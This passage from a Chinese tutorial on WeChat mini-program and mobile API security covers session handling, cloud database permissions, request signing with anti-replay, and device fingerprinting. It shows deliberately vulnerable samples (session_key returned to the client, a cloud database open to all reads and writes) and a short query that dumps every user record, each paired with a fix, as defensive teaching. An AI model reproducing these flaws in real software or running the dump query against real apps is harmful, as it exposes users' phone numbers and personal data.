① 调用微信的 code2Session 接口(本来应该由你的服务端调)
→ 用任意用户的 code 换到 openid + session_key
② ★★ 解密用户的加密数据(encryptedData)
微信把手机号、用户信息加密传给小程序,密钥就是 session_key
拿到 session_key 就能解密 → 【拿到任意用户的手机号】
③ 伪造小程序身份调用微信接口
发模板消息、获取 access_token、调用支付接口
④ ★ 结合 BOLA:用 openid 直接调你的业务接口查/改任意用户数据
✅ 修复:
// ✅✅✅ 正确做法:小程序端【零密钥】,所有敏感操作走服务端
// utils/config.js —— 只放非敏感的
module.exports = {
// ✅ AppID 可以放(本来就是公开的)
appId: 'wx1234567890abcdef',
// ✅ 接口地址
baseURL: 'https://api.example.com/v1'
// ✅✅✅ 绝不出现:appSecret、apiSecret、任何第三方 Secret
// 这些只能存在服务端
}
// ✅✅✅ utils/request.js —— 签名改为服务端下发 session key
const request = require('./http')
let sessionKey = null
let sessionKeyExpireAt = 0
/**
* ★ 从服务端获取签名用的 session key(登录后调)
* 服务端返回的是一个随机串,绑定 (openid, 设备),2 小时过期
*/
async function getSignKey() {
if (sessionKey && Date.now() < sessionKeyExpireAt) {
return sessionKey
}
const res = await request.post('/v1/session/key', {
deviceId: wx.getStorageSync('device_id')
})
sessionKey = res.data.key
sessionKeyExpireAt = res.data.expireAt
return sessionKey
}
/**
* ✅ 用动态 key 签名(不是硬编码的)
*/
async function signedRequest(url, data) {
const key = await getSignKey()
data.timestamp = Date.now()
data.nonce = randomString(16)
data.sign = sign(data, key) // ★ key 是动态下发的
return request.post(url, data)
}
/**
* ★ 真正的签名算法放在【服务端】做校验,客户端的算法本来就是公开的
* 客户端签名的意义只在于:防重放、防脚本小子、提高门槛
*/
function sign(params, key) {
const sorted = Object.keys(params).filter(k =>
!['sign', 'sign_type'].includes(k)).sort()
let str = ''
sorted.forEach(k => str += k + '=' + params[k] + '&')
str += 'key=' + key
return md5(str).toUpperCase()
}
/**
* ✅✅✅ 服务端:AppSecret 只在这里(Java)
*/
@Service
public class WechatMiniProgramService {
// ★ 从配置中心/环境变量读,绝不硬编码在代码里
@Value("${wechat.miniapp.app-id}")
private String appId;
@Value("${wechat.miniapp.app-secret}")
private String appSecret; // ★★ 只存在服务端
/**
* ★ 小程序登录:code2Session 必须在服务端做
*/
public LoginResult login(String code) {
// ① 用小程序的 code 换 openid + session_key(★ 服务端调,AppSecret 不出服务端)
String url = "https://api.weixin.qq.com/sns/jscode2session"
+ "?appid=" + appId
+ "&secret=" + appSecret // ★ 只在服务端用
+ "&js_code=" + code
+ "&grant_type=authorization_code";
WechatSessionResp resp = restTemplate.getForObject(url,
WechatSessionResp.class);
if (resp.getErrcode() != null && resp.getErrcode() != 0) {
throw new BusinessException("微信登录失败:" + resp.getErrmsg());
}
String openid = resp.getOpenid();
String sessionKey = resp.getSessionKey(); // ★★ 绝不返回给小程序端!
// ② session_key 存服务端(Redis),生成一个自己的 token 给小程序
String token = jwtService.generate(openid);
redis.opsForValue().set("wx:session:" + openid, sessionKey,
7, TimeUnit.DAYS);
// ③ 只把 token 返回(★ session_key 不出服务端)
return LoginResult.of(token);
}
/**
* ★ 解密用户手机号(encryptedData)—— 必须在服务端做
*/
public String decryptPhoneNumber(String encryptedData, String iv,
String openid) {
// 从 Redis 取 session_key
String sessionKey = redis.opsForValue().get("wx:session:" + openid);
if (sessionKey == null) {
throw new BusinessException("登录已过期,请重新登录");
}
try {
// AES-128-CBC 解密
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS7Padding");
SecretKeySpec keySpec = new SecretKeySpec(
Base64.getDecoder().decode(sessionKey), "AES");
IvParameterSpec ivSpec = new IvParameterSpec(
Base64.getDecoder().decode(iv));
cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);
byte[] decrypted = cipher.doFinal(
Base64.getDecoder().decode(encryptedData));
String json = new String(decrypted, StandardCharsets.UTF_8);
PhoneInfo info = objectMapper.readValue(json, PhoneInfo.class);
return info.getPurePhoneNumber();
} catch (Exception e) {
throw new BusinessException("解密失败", e);
}
}
}
4.6.3 漏洞 2:小程序登录态设计缺陷
先理解小程序的登录流程(★ 面试常考):
① 小程序端调 wx.login()
→ 拿到一个临时的 code(5 分钟有效,只能用一次)
② 小程序把 code 发给【自己的服务端】
③ 服务端拿 code + appid + appsecret 调微信的 jscode2session
→ 拿到 openid(用户唯一标识)+ session_key(会话密钥)
④ 服务端生成自己的登录态(token),返回给小程序
⑤ 小程序后续请求都带上这个 token
★ 关键点:
session_key 【绝不能】返回给小程序端
(因为拿到 session_key 就能解密用户的手机号等加密数据)
漏洞代码:
// ❌❌❌ 致命:把 session_key 返回给了小程序端
@PostMapping("/wx/login")
public Map<String, Object> login(@RequestBody Map<String, String> body) {
String code = body.get("code");
WechatSessionResp resp = wechatService.code2Session(code);
// ❌❌❌ 把 session_key 返回了!
return Map.of(
"openid", resp.getOpenid(),
"session_key", resp.getSessionKey(), // ★★★ 致命
"token", jwtService.generate(resp.getOpenid())
);
}
// ❌ 小程序端拿到 session_key 后,可以自己解密任意用户的数据
// 攻击者只要能诱导其他用户在他控制的页面授权,就能拿到手机号
其他常见登录态问题:
| 问题 | 后果 | 修复 |
|---|---|---|
| session_key 下发到客户端 | 可解密任意用户加密数据 | 只发 token,session_key 存服务端 |
| 自己维护的 token 永不过期 | Token 泄露后永久有效 | 设过期时间 + refresh 机制 |
| code 可以重复使用 | 攻击者截获 code 后能登录 | 服务端用过的 code 要标记(微信本身 code 只能用一次) |
| openid 直接当 token 用 | openid 是固定不变的,泄露即永久 | 服务端生成随机 token,openid 只在服务端关联 |
| 没校验 token 绑定的设备 | Token 在别的设备也能用 | token 绑定设备指纹,异常设备重新登录 |
✅ 正确实现:
/**
* ✅✅✅ 正确的小程序登录实现
*/
@RestController
@RequestMapping("/v1/wx")
@Slf4j
public class WechatLoginController {
@Autowired
private WechatMiniProgramService wechatService;
@Autowired
private JwtService jwtService;
@Autowired
private RedisTemplate<String, String> redis;
@PostMapping("/login")
public LoginVO login(@RequestBody LoginDTO dto) {
String code = dto.getCode();
// ① 参数校验
if (code == null || code.length() < 10 || code.length() > 64) {
throw new IllegalArgumentException("非法的 code");
}
// ② ★ code 防重放:用过的 code 不能再用(微信本身有,但服务端再加一层)
String codeKey = "wx:code:used:" + sha256(code);
Boolean isNew = redis.opsForValue().setIfAbsent(codeKey, "1",
10, TimeUnit.MINUTES);
if (Boolean.FALSE.equals(isNew)) {
log.warn("[安全] code 重复使用,拒绝 openId未知 code={}",
code.substring(0, Math.min(8, code.length())));
throw new BusinessException("code 已失效,请重新登录");
}
// ③ code2Session(服务端调,AppSecret 不出服务端)
WechatSessionResp resp = wechatService.code2Session(code);
if (resp.getOpenid() == null) {
throw new BusinessException("微信登录失败");
}
String openid = resp.getOpenid();
String sessionKey = resp.getSessionKey();
// ④ 查找/创建用户
User user = userService.findByOpenid(openid);
if (user == null) {
user = userService.createFromWechat(openid);
}
// ⑤ 检查用户状态(封禁、风控)
if (user.isBanned()) {
throw new BusinessException("账号已被限制登录");
}
// ⑥ ★ session_key 存服务端(★ 绝不下发)
redis.opsForValue().set("wx:session_key:" + openid, sessionKey,
7, TimeUnit.DAYS);
// ⑦ 生成自己的 token(★ 带设备绑定、有过期时间)
String deviceId = dto.getDeviceId();
String token = jwtService.generate(JwtPayload.builder()
.userId(user.getId())
.openid(openid)
.deviceId(deviceId) // ★ 绑定设备
.audience("miniprogram")
.expireIn(Duration.ofDays(7))
.build());
// ⑧ 生成 refresh token(更长有效期,用于续期)
String refreshToken = generateRefreshToken(user.getId());
redis.opsForValue().set("refresh:" + user.getId(), refreshToken,
30, TimeUnit.DAYS);
// ⑨ 记录登录日志(风控用)
loginLogService.record(user.getId(), dto.getDeviceId(),
getClientIp(), "WECHAT_MINIAPP");
// ⑩ ★★ 只返回 token,绝不返回 session_key
return LoginVO.builder()
.token(token)
.refreshToken(refreshToken)
.expiresIn(7 * 24 * 3600)
.userId(user.getId())
.isNewUser(user.isNewUser())
.build();
}
/**
* ✅ Token 校验时检查设备绑定
*/
@GetMapping("/verify")
public Map<String, Object> verify(HttpServletRequest request) {
String token = extractToken(request);
JwtPayload payload = jwtService.parse(token);
// ★ 校验 token 里的 deviceId 和当前请求的一致
String currentDevice = request.getHeader("X-Device-Id");
if (!Objects.equals(payload.getDeviceId(), currentDevice)) {
log.warn("[安全] Token 设备不匹配 userId={} tokenDevice={} currentDevice={}",
payload.getUserId(), payload.getDeviceId(), currentDevice);
throw new BusinessException("登录状态异常,请重新登录");
}
return Map.of("valid", true, "userId", payload.getUserId());
}
}
4.6.4 漏洞 3:小程序云函数 / 云数据库的越权
★ 微信云开发(CloudBase)的便利性和风险: 小程序可以直接调云函数、直接读写云数据库(不走你的服务器), 开发效率极高,但权限配置错误就是灾难。
漏洞:云数据库权限配置成了“所有用户可读”:
// ❌❌❌ 云数据库权限配置错误
{
"read": true, // ❌ 所有用户可读 = 全库数据任何人都能拉走
"write": true // ❌ 所有用户可写 = 任何人能改任何人的数据
}
攻击(在小程序控制台或者任意能调云函数的地方):
// ❌ 攻击者可以在自己的小程序里直接查全库
const db = wx.cloud.database()
db.collection('users').get({
success: res => {
console.log(res.data) // ★ 全部用户数据,包括手机号、身份证
}
})
✅ 修复:云数据库权限设为“仅创建者可读写”或“仅管理端可读写”
// ✅✅✅ 正确的权限配置
{
"read": "doc._openid == auth.openid", // ★ 只能读自己创建的
"write": "doc._openid == auth.openid" // ★ 只能改自己创建的
}
// 或者最严格:
{
"read": false, // ★ 客户端完全不可读,只能通过云函数访问
"write": false // ★ 客户端完全不可写
}
// ✅✅✅ 云函数里做鉴权(★ 推荐做法:客户端不直接操作数据库)
// cloudfunctions/getUserProfile/index.js
const cloud = require('wx-server-sdk')
cloud.init()
const db = cloud.database()
exports.main = async (event, context) => {
const wxContext = cloud.getWXContext()
const openid = wxContext.OPENID // ★★ 这个 openid 是微信给的,【客户端伪造不了】
// ① 校验登录态
if (!openid) {
return { code: 401, message: '未登录' }
}
// ② ★★ 关键:只查当前用户的数据(用服务端拿到的 openid,不是客户端传的)
// ❌ 错误:const { userId } = event; 然后查 userId → BOLA!
// ✅ 正确:直接用 openid 查
const res = await db.collection('users')
.where({ _openid: openid }) // ★ 用系统给的 openid,不是参数
.get()
if (res.data.length === 0) {
return { code: 404, message: '用户不存在' }
}
// ③ 返回时脱敏
const user = res.data[0]
return {
code: 0,
data: {
nickName: user.nickName,
avatarUrl: user.avatarUrl,
phone: maskPhone(user.phone), // ★ 脱敏
// ★ 不返回:idCard、balance、internalScore
}
}
}
★ 云函数安全的核心原则(面试必答): “云函数里的
cloud.getWXContext().OPENID是微信服务端注入的,客户端伪造不了。 这是小程序里唯一可信的身份来源。所以云函数的铁律是: ① 永远用
OPENID作为身份依据,绝不用客户端传的 userId / openid 参数 ② 云数据库权限设为“仅创建者可读写”,或者干脆 false,全走云函数 ③ 云函数里做完整的鉴权和数据归属校验 ④ 返回数据时脱敏,不返回敏感字段反过来,如果云函数写了
const { userId } = event然后去查 userId, 那就是标准的 BOLA —— 攻击者传别人的 userId 就能拿到别人的数据。“
4.6.5 小程序安全 Checklist
| # | 检查项 | 优先级 |
|---|---|---|
| 1 | AppSecret 绝不出现在小程序端(只在服务端) | ★★★ |
| 2 | 所有第三方 Secret(OSS、地图、支付)不放小程序端 | ★★★ |
| 3 | code2Session 和加密数据解密【必须在服务端】 |
★★★ |
| 4 | session_key 绝不下发到小程序端 | ★★★ |
| 5 | 签名密钥动态下发,不硬编码 | ★★ |
| 6 | 云数据库权限:仅创建者可读写,或 false + 云函数 | ★★★ |
| 7 | 云函数里用 cloud.getWXContext().OPENID,不用客户端传的 userId |
★★★ |
| 8 | 登录态 token 有过期时间 + 绑定设备 | ★★ |
| 9 | 本地 Storage 不存敏感数据(wx.setStorageSync 是明文) | ★★ |
| 10 | 接口走 HTTPS(平台强制) | ★★★ |
| 11 | 定期检查:解包自己的小程序,看有没有泄露(★ 自查方法) | ★★ |
4.7 ★ 移动端接口安全(签名、防重放、设备指纹)
★ 这一节是本章的“落地重点”。 前面讲的所有内容,最终都要落到“接口怎么设计”上。
4.7.1 移动端接口 vs Web 接口的三个特殊问题
| 问题 | Web | 移动端 |
|---|---|---|
| 身份凭据 | HttpOnly Cookie(JS 拿不到,有 CSRF 防护) | Token 存在客户端(一定会被拿到,XSS 风险不同但存储风险更大) |
| 请求来源验证 | 有 Referer、Origin、CSRF Token | 什么都没有(原生请求可以任意构造,没有浏览器约束) |
| 防重放 | 有 Session + CSRF Token | 必须自己做(timestamp + nonce) |
★ 核心结论:
移动端接口 = 一个完全开放的 API。 攻击者抓一次包就能拿到接口地址、参数格式、签名算法(逆向 App 后), 然后可以用 Python 脚本无限调用。
唯一的防线是服务端: ① 每次请求都要带有效的身份凭据(Token) ② 每次请求都要做对象级授权(这个数据是不是这个用户的) ③ 防重放(同一个请求不能重复执行) ④ 限流(频率、次数) ⑤ 风控(设备指纹、行为分析)
4.7.2 接口签名设计(★ 完整方案)
先明确签名的“能”与“不能”(★★★ 面试必答):
| 签名能做什么 | 签名不能做什么 |
|---|---|
| ✅ 防参数篡改(改了金额,签名对不上) | ❌ 防伪造(算法在 App 里,能逆向出来) |
| ✅ 防重放(timestamp + nonce) | ❌ 防越权(签名证明“是我发的”,不证明“我能看这个数据”) |
| ✅ 提高门槛(挡住脚本小子) | ❌ 替代服务端校验 |
| ✅ 完整性保护 | ❌ 保密性(签名不加密内容) |
★ 最重要的一句话: 签名解决的是“这个请求是不是我的 App 发的、有没有被改过”, 解决不了“这个人有没有权限访问这个数据”。 授权必须靠服务端的 BOLA 校验(第二章)。
签名方案 v1(基础版,有缺陷):
签名串 = 参数按 key 字典序排序 + 拼接 + 末尾加 key + MD5
sign = MD5(k1=v1&k2=v2&...&key=SECRET).toUpperCase()
问题:
❌ SECRET 硬编码在客户端 → 逆向后能伪造任意请求
❌ 没有 timestamp → 可以重放
❌ MD5 不够安全(但作为签名够用)
✅ 签名方案 v2(推荐,生产可用):
请求参数:
appId 应用标识(公开)
timestamp 时间戳(毫秒)★ 防重放
nonce 随机串(16 位)★ 防重放
sign 签名
accessToken 用户 Token(如有登录)
业务参数...
签名规则:
① 剔除 sign 本身和空值参数
② 剩余参数(含 timestamp、nonce)按 key 字典序排序
③ 拼成 k1=v1&k2=v2&...
④ 末尾拼接 &key=<sessionKey> ★ sessionKey 是【动态下发】的
⑤ HMAC-SHA256(比 MD5 好)或 MD5
⑥ 转大写
服务端校验:
① 校验 timestamp 在 ±5 分钟内 ★ 防重放(时间窗口)
② 校验 nonce 在 Redis 里不存在 ★ 防重放(一次性)
③ 用 (userId, deviceId) 查出 sessionKey
④ 重新计算签名并比对(★ 常量时间比对,防时序侧信道)
⑤ 校验 Token 有效
⑥ ★ 做业务授权校验(BOLA) ← 这一步和签名无关,但必须有
客户端实现(Android / OkHttp 拦截器):
/**
* ✅✅✅ 接口签名拦截器(Android OkHttp)
*/
public class SigningInterceptor implements Interceptor {
@Override
public Response intercept(Chain chain) throws IOException {
Request original = chain.request();
HttpUrl originalUrl = original.url();
// ① 生成 timestamp 和 nonce
String timestamp = String.valueOf(System.currentTimeMillis());
String nonce = generateNonce();
// ② 收集所有参数(GET 参数 + POST body 参数)
Map<String, String> params = new TreeMap<>(); // ★ TreeMap 自动排序
// GET 参数
for (int i = 0; i < originalUrl.querySize(); i++) {
params.put(originalUrl.queryParameterName(i),
originalUrl.queryParameterValue(i));
}
// POST body 参数(application/x-www-form-urlencoded)
if (original.body() != null && isFormBody(original.body())) {
FormBody formBody = (FormBody) original.body();
for (int i = 0; i < formBody.size(); i++) {
params.put(formBody.name(i), formBody.value(i));
}
}
// ③ 加入公共参数
params.put("appId", BuildConfig.APP_ID);
params.put("timestamp", timestamp);
params.put("nonce", nonce);
params.put("appVersion", BuildConfig.VERSION_NAME);
params.put("deviceId", DeviceFingerprint.getDeviceId());
// ④ 计算签名(★ 用动态下发的 sessionKey)
String sessionKey = SessionKeyManager.getSignKey();
String sign = sign(params, sessionKey);
// ⑤ 构造新请求
HttpUrl.Builder urlBuilder = originalUrl.newBuilder()
.addQueryParameter("appId", BuildConfig.APP_ID)
.addQueryParameter("timestamp", timestamp)
.addQueryParameter("nonce", nonce)
.addQueryParameter("sign", sign);
Request request = original.newBuilder()
.url(urlBuilder.build())
.header("X-App-Version", BuildConfig.VERSION_NAME)
.header("X-Device-Id", DeviceFingerprint.getDeviceId())
.header("X-Platform", "android")
.header("X-Request-Id", UUID.randomUUID().toString())
.build();
return chain.proceed(request);
}
/**
* ★ 签名算法(HMAC-SHA256)
*/
private String sign(Map<String, String> params, String key) {
StringBuilder sb = new StringBuilder();
for (Map.Entry<String, String> e : params.entrySet()) {
if (e.getValue() == null || e.getValue().isEmpty()) {
continue; // ★ 跳过空值
}
sb.append(e.getKey()).append("=").append(e.getValue()).append("&");
}
sb.append("key=").append(key);
return hmacSha256(sb.toString(), key).toUpperCase();
}
private String hmacSha256(String data, String key) {
try {
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec spec = new SecretKeySpec(
key.getBytes(StandardCharsets.UTF_8), "HmacSHA256");
mac.init(spec);
byte[] bytes = mac.doFinal(data.getBytes(StandardCharsets.UTF_8));
return bytesToHex(bytes);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private String generateNonce() {
byte[] bytes = new byte[8];
new SecureRandom().nextBytes(bytes);
return Base64.encodeToString(bytes, Base64.NO_WRAP);
}
}
服务端实现(Spring Boot 拦截器):
/**
* ✅✅✅ 服务端签名校验 + 防重放
*/
@Component
@Slf4j
public class ApiSignatureInterceptor implements HandlerInterceptor {
private static final long TIMESTAMP_WINDOW_MS = 5 * 60 * 1000; // ±5 分钟
@Autowired
private RedisTemplate<String, String> redis;
@Autowired
private SessionKeyRepository sessionKeyRepo;
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
// ===== ① 取参数 =====
String appId = request.getParameter("appId");
String timestamp = request.getParameter("timestamp");
String nonce = request.getParameter("nonce");
String sign = request.getParameter("sign");
String deviceId = request.getHeader("X-Device-Id");
String token = request.getHeader("Authorization");
// ===== ② 必填校验 =====
if (isBlank(appId) || isBlank(timestamp) || isBlank(nonce) || isBlank(sign)) {
reject(response, "MISSING_SIGN_PARAMS", "缺少签名参数");
return false;
}
// ===== ③ 校验 appId =====
if (!appConfig.isValidAppId(appId)) {
reject(response, "INVALID_APP_ID", "非法的 appId");
return false;
}
// ===== ④ ★ 防重放 1:时间戳窗口 =====
long ts;
try {
ts = Long.parseLong(timestamp);
} catch (NumberFormatException e) {
reject(response, "INVALID_TIMESTAMP", "时间戳格式错误");
return false;
}
long now = System.currentTimeMillis();
if (Math.abs(now - ts) > TIMESTAMP_WINDOW_MS) {
log.warn("[安全] 请求时间戳超出窗口 ts={} now={} diff={}ms",
ts, now, now - ts);
reject(response, "TIMESTAMP_EXPIRED", "请求已过期,请校准时间");
return false;
}
// ===== ⑤ ★ 防重放 2:nonce 一次性 =====
String nonceKey = "api:nonce:" + appId + ":" + nonce;
Boolean isNew = redis.opsForValue().setIfAbsent(
nonceKey, "1", TIMESTAMP_WINDOW_MS * 2, TimeUnit.MILLISECONDS);
if (Boolean.FALSE.equals(isNew)) {
log.warn("[安全] nonce 重复使用(疑似重放攻击)appId={} nonce={}", appId, nonce);
reject(response, "NONCE_REUSED", "请求已被处理");
return false;
}
// ===== ⑥ 取 sessionKey(动态下发,绑定用户+设备)=====
String sessionKey;
if (token != null && token.startsWith("Bearer ")) {
// 已登录:用用户级 sessionKey
JwtPayload payload = jwtService.parse(token.substring(7));
sessionKey = sessionKeyRepo.findActiveKey(
payload.getUserId(), deviceId);
} else {
// 未登录:用设备级 sessionKey(权限较低)
sessionKey = sessionKeyRepo.findDeviceKey(appId, deviceId);
}
if (sessionKey == null) {
reject(response, "NO_SESSION_KEY", "会话已失效,请重新获取");
return false;
}
// ===== ⑦ 重新计算签名 =====
Map<String, String> params = collectParams(request);
params.put("appId", appId);
params.put("timestamp", timestamp);
params.put("nonce", nonce);
String expectedSign = calculateSign(params, sessionKey);
// ===== ⑧ ★ 常量时间比对(防时序侧信道)=====
if (!MessageDigest.isEqual(
expectedSign.getBytes(StandardCharsets.UTF_8),
sign.getBytes(StandardCharsets.UTF_8))) {
log.warn("[安全] 签名校验失败 appId={} deviceId={} uri={} expected={} actual={}",
appId, deviceId, request.getRequestURI(),
expectedSign, sign);
// ★ 记录失败次数,超过阈值封禁设备
recordSignFailure(appId, deviceId, getClientIp(request));
reject(response, "INVALID_SIGN", "签名校验失败");
return false;
}
// ===== ⑨ 签名通过,但【这不代表授权通过】=====
// ★ 授权(BOLA 校验)在 Controller / Service 里做,见第二章
return true;
}
/**
* 收集所有参与签名的参数(★ 必须和客户端完全一致)
*/
private Map<String, String> collectParams(HttpServletRequest request) {
Map<String, String> params = new TreeMap<>(); // ★ TreeMap = 字典序
request.getParameterMap().forEach((k, v) -> {
if (!"sign".equals(k) && v != null && v.length > 0
&& v[0] != null && !v[0].isEmpty()) {
params.put(k, v[0]);
}
});
return params;
}
private String calculateSign(Map<String, String> params, String key) {
StringBuilder sb = new StringBuilder();
params.forEach((k, v) -> sb.append(k).append("=").append(v).append("&"));
sb.append("key=").append(key);
return hmacSha256(sb.toString(), key).toUpperCase();
}
/**
* ★ 签名失败计数,超过阈值封禁(防暴力破解签名)
*/
private void recordSignFailure(String appId, String deviceId, String ip) {
String key = "sign:fail:" + appId + ":" + (deviceId != null ? deviceId : ip);
Long count = redis.opsForValue().increment(key);
if (count != null && count == 1) {
redis.expire(key, 10, TimeUnit.MINUTES);
}
if (count != null && count > 20) {
// ★ 10 分钟内连续 20 次签名失败 → 封禁 1 小时
redis.opsForValue().set("ban:device:" + deviceId, "1",
1, TimeUnit.HOURS);
log.error("[安全] 设备因频繁签名失败被封禁 deviceId={} count={}",
deviceId, count);
alertService.send("签名爆破告警", deviceId);
}
}
private void reject(HttpServletResponse response, String code,
String message) throws IOException {
response.setStatus(HttpStatus.BAD_REQUEST.value());
response.setContentType("application/json;charset=UTF-8");
response.getWriter().write(
"{\"code\":\"" + code + "\",\"message\":\"" + message + "\"}");
}
}
4.7.3 设备指纹(★ 风控的基石)
一句话定义: 设备指纹 = 用设备的多个特征综合计算出一个“设备唯一 ID”, 用于识别“这是不是同一台设备”,即使 App 被重装、IMEI 拿不到。
★ 为什么需要设备指纹:
Android 10+ 拿不到 IMEI(隐私限制)
iOS 拿不到 UDID(早就禁了)
OAID / AAID 可以重置
IDFA 用户可以关闭
→ 没有任何一个"官方 ID"是可靠的
所以必须【多特征融合】:
硬件特征(型号、厂商、CPU、内存、屏幕分辨率、传感器列表)
+ 系统特征(Android 版本、语言、时区、字体列表、已装 App 列表)
+ 网络特征(MAC 地址、IP)
+ 存储特征(本地生成的 UUID)
→ 哈希成一个 deviceId
客户端实现(Android):
/**
* ✅ 设备指纹采集(Android)
*/
public class DeviceFingerprint {
private static final String STORAGE_KEY = "device_fingerprint_id";
/**
* 获取设备指纹(优先用本地持久化的,没有就生成)
*/
public static synchronized String getDeviceId(Context ctx) {
// ① 先从安全存储里读(★ 重装 App 后仍在,因为存在 KeyStore 或特定位置)
String cached = SecureStorageManager.get(ctx).getString(STORAGE_KEY, null);
if (cached != null) {
return cached;
}
// ② 生成新的
String fingerprint = generate(ctx);
// ③ 持久化
SecureStorageManager.get(ctx).edit()
.putString(STORAGE_KEY, fingerprint)
.apply();
return fingerprint;
}
private static String generate(Context ctx) {
StringBuilder raw = new StringBuilder();
// ===== 硬件特征 =====
raw.append(Build.BOARD).append("|") // 主板
.append(Build.BOOTLOADER).append("|")
.append(Build.BRAND).append("|") // 品牌
.append(Build.DEVICE).append("|")
.append(Build.HARDWARE).append("|") // 硬件名
.append(Build.MANUFACTURER).append("|") // 厂商
.append(Build.MODEL).append("|") // 型号
.append(Build.PRODUCT).append("|");
// CPU 信息
raw.append(getCpuInfo()).append("|");
// 内存信息
ActivityManager am = (ActivityManager) ctx
.getSystemService(Context.ACTIVITY_SERVICE);
ActivityManager.MemoryInfo mi = new ActivityManager.MemoryInfo();
am.getMemoryInfo(mi);
raw.append(mi.totalMem).append("|");
// 屏幕分辨率
DisplayMetrics dm = ctx.getResources().getDisplayMetrics();
raw.append(dm.widthPixels).append("x").append(dm.heightPixels)
.append("|").append(dm.densityDpi).append("|");
// 传感器列表(★ 每个机型的传感器组合不同,区分度很高)
SensorManager sm = (SensorManager) ctx.getSystemService(Context.SENSOR_SERVICE);
if (sm != null) {
List<Sensor> sensors = sm.getSensorList(Sensor.TYPE_ALL);
List<String> names = sensors.stream()
.map(Sensor::getName).sorted().toList();
raw.append(String.join(",", names)).append("|");
}
// ===== 系统特征 =====
raw.append(Build.VERSION.SDK_INT).append("|")
.append(Build.VERSION.RELEASE).append("|")
.append(Locale.getDefault().toString()).append("|") // 语言
.append(TimeZone.getDefault().getID()).append("|"); // 时区
// 字体列表(★ 不同 ROM 装的字体不同,区分度高)
raw.append(String.join(",", getSystemFonts())).append("|");
// ===== 存储特征 =====
File dataDir = new File(Environment.getDataDirectory().getPath());
raw.append(dataDir.getTotalSpace()).append("|");
// ===== 本地 UUID(作为兜底)=====
raw.append(UUID.randomUUID().toString()).append("|");
// ★ 最终:SHA-256 哈希(★ 不传原始特征,只传哈希,保护用户隐私)
return sha256(raw.toString());
}
/**
* ★ 采集风控需要的【风险信号】(这些是要上报给服务端的)
*/
public static Map<String, Object> collectRiskSignals(Context ctx) {
Map<String, Object> signals = new LinkedHashMap<>();
signals.put("device_id", getDeviceId(ctx));
signals.put("model", Build.MODEL);
signals.put("brand", Build.BRAND);
signals.put("manufacturer", Build.MANUFACTURER);
signals.put("android_version", Build.VERSION.RELEASE);
signals.put("sdk_int", Build.VERSION.SDK_INT);
// ★★ 风险信号(★ 服务端据此评分)
signals.put("is_root", RootChecker.isDeviceRooted());
signals.put("is_emulator", EmulatorChecker.isEmulator());
signals.put("is_debugger", AntiDebugChecker.isDebuggerAttached());
signals.put("is_xposed", AntiDebugChecker.isXposedInstalled());
signals.put("is_frida", AntiDebugChecker.isFridaRunning());
signals.put("is_adb_enabled", isAdbEnabled(ctx));
signals.put("is_developer_options", isDeveloperOptionsEnabled(ctx));
signals.put("is_usb_debugging", isUsbDebuggingEnabled(ctx));
signals.put("is_mock_location", isMockLocationEnabled(ctx));
signals.put("app_list_hash", hashInstalledApps(ctx)); // ★ 识别模拟器/多开
signals.put("signature_valid", new IntegrityChecker(ctx).verifySignature());
return signals;
}
private static boolean isAdbEnabled(Context ctx) {
return Settings.Global.getInt(ctx.getContentResolver(),
Settings.Global.ADB_ENABLED, 0) == 1;
}
private static boolean isDeveloperOptionsEnabled(Context ctx) {
return Settings.Global.getInt(ctx.getContentResolver(),
Settings.Global.DEVELOPMENT_SETTINGS_ENABLED, 0) == 1;
}
private static String getCpuInfo() {
try (BufferedReader br = new BufferedReader(
new FileReader("/proc/cpuinfo"))) {
String line;
while ((line = br.readLine()) != null) {
if (line.startsWith("Hardware") || line.startsWith("Processor")) {
return line.split(":")[1].trim();
}
}
} catch (Exception e) {
// ignore
}
return "unknown";
}
private static List<String> getSystemFonts() {
List<String> fonts = new ArrayList<>();
File fontDir = new File("/system/fonts");
File[] files = fontDir.listFiles();
if (files != null) {
for (File f : files) {
fonts.add(f.getName());
}
}
Collections.sort(fonts);
return fonts;
}
}
服务端风控(Java):
/**
* ✅✅✅ 服务端设备风控引擎
*/
@Service
@Slf4j
public class DeviceRiskEngine {
@Autowired
private RedisTemplate<String, String> redis;
@Autowired
private DeviceProfileRepository deviceRepo;
/**
* ★ 设备风险评分(0~100,越高越危险)
*/
public RiskScore evaluate(String deviceId, Map<String, Object> signals) {
int score = 0;
List<String> reasons = new ArrayList<>();
// ===== ① 环境风险信号 =====
if (Boolean.TRUE.equals(signals.get("is_root"))) {
score += 25;
reasons.add("设备已 Root");
}
if (Boolean.TRUE.equals(signals.get("is_emulator"))) {
score += 40;
reasons.add("模拟器");
}
if (Boolean.TRUE.equals(signals.get("is_frida"))) {
score += 35;
reasons.add("检测到 Frida 注入");
}
if (Boolean.TRUE.equals(signals.get("is_xposed"))) {
score += 30;
reasons.add("检测到 Xposed 框架");
}
if (Boolean.TRUE.equals(signals.get("is_debugger"))) {
score += 20;
reasons.add("应用正在被调试");
}
if (Boolean.FALSE.equals(signals.get("signature_valid"))) {
score += 45;
reasons.add("应用签名校验失败(疑似重打包)");
}
// ===== ② 行为风险信号 =====
// 同一设备关联的账号数(★ 薅羊毛的典型特征)
long accountCount = deviceRepo.countDistinctUsers(deviceId,
Duration.ofDays(30));
if (accountCount > 5) {
score += 25;
reasons.add("30 天内关联 " + accountCount + " 个账号");
} else if (accountCount > 2) {
score += 10;
reasons.add("30 天内关联 " + accountCount + " 个账号");
}
// 设备首次出现时间(★ 新设备风险高)
DeviceProfile profile = deviceRepo.findByDeviceId(deviceId);
if (profile == null) {
score += 15;
reasons.add("新设备首次出现");
} else if (profile.getFirstSeen()
.isAfter(Instant.now().minus(Duration.ofHours(1)))) {
score += 10;
reasons.add("设备首次出现不到 1 小时");
}
// 设备切换 IP 的频率
long ipChangeCount = redis.opsForSet()
.size("device:ips:" + deviceId);
if (ipChangeCount > 20) {
score += 20;
reasons.add("设备 IP 频繁变更(" + ipChangeCount + " 个)");
}
// ===== ③ 兜底:设备是否在黑名单 =====
if (deviceRepo.isBlacklisted(deviceId)) {
score += 100;
reasons.add("设备已在黑名单");
}
score = Math.min(score, 100);
// ===== ④ 根据分数决策 =====
RiskLevel level;
if (score >= 70) {
level = RiskLevel.HIGH;
} else if (score >= 40) {
level = RiskLevel.MEDIUM;
} else if (score >= 20) {
